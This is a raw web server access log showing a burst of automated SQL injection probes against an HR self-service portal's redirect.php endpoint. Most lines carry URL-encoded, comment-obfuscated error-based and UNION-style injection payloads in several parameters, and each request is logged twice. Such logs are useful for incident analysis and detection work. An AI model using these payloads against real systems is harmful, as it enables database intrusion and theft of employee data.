100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62424459%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36765171%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRqDc%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62424459%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36765171%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRqDc%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x306d6938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x467a7377%29%2C5431%29--%2F%2A%2A%2FssVh HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x306d6938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x467a7377%29%2C5431%29--%2F%2A%2A%2FssVh HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49727178%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30425530%29%2C5431%29--%2F%2A%2A%2FjnmD HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49727178%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30425530%29%2C5431%29--%2F%2A%2A%2FjnmD HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63673431%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53767056%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fbnrf HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63673431%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53767056%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fbnrf HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67644d57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3974626c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fvfbb%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67644d57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3974626c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fvfbb%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x504a5868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b345948%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Faxxq%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x504a5868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b345948%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Faxxq%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x59765031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f7531%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Ftm0l%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x59765031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f7531%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Ftm0l%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6a634932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e72534c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6a634932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e72534c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x79704c48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a746a4e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fca5D HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x79704c48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a746a4e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fca5D HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34466333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a54366d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7GAH%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34466333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a54366d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7GAH%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42427872%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4e4f33%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVVOm%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42427872%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4e4f33%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVVOm%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67644d57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3974626c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fvfbb%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6d304156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75514762%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgAYs HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6d304156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75514762%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgAYs HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x696f6f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454d5a57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKHwV%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x696f6f46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454d5a57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKHwV%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x614d3876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42336644%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FRc2S HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x614d3876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42336644%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FRc2S HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36576550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x314f4155%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fxfjs HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36576550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x314f4155%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fxfjs HTTP/1.1" 200 5915
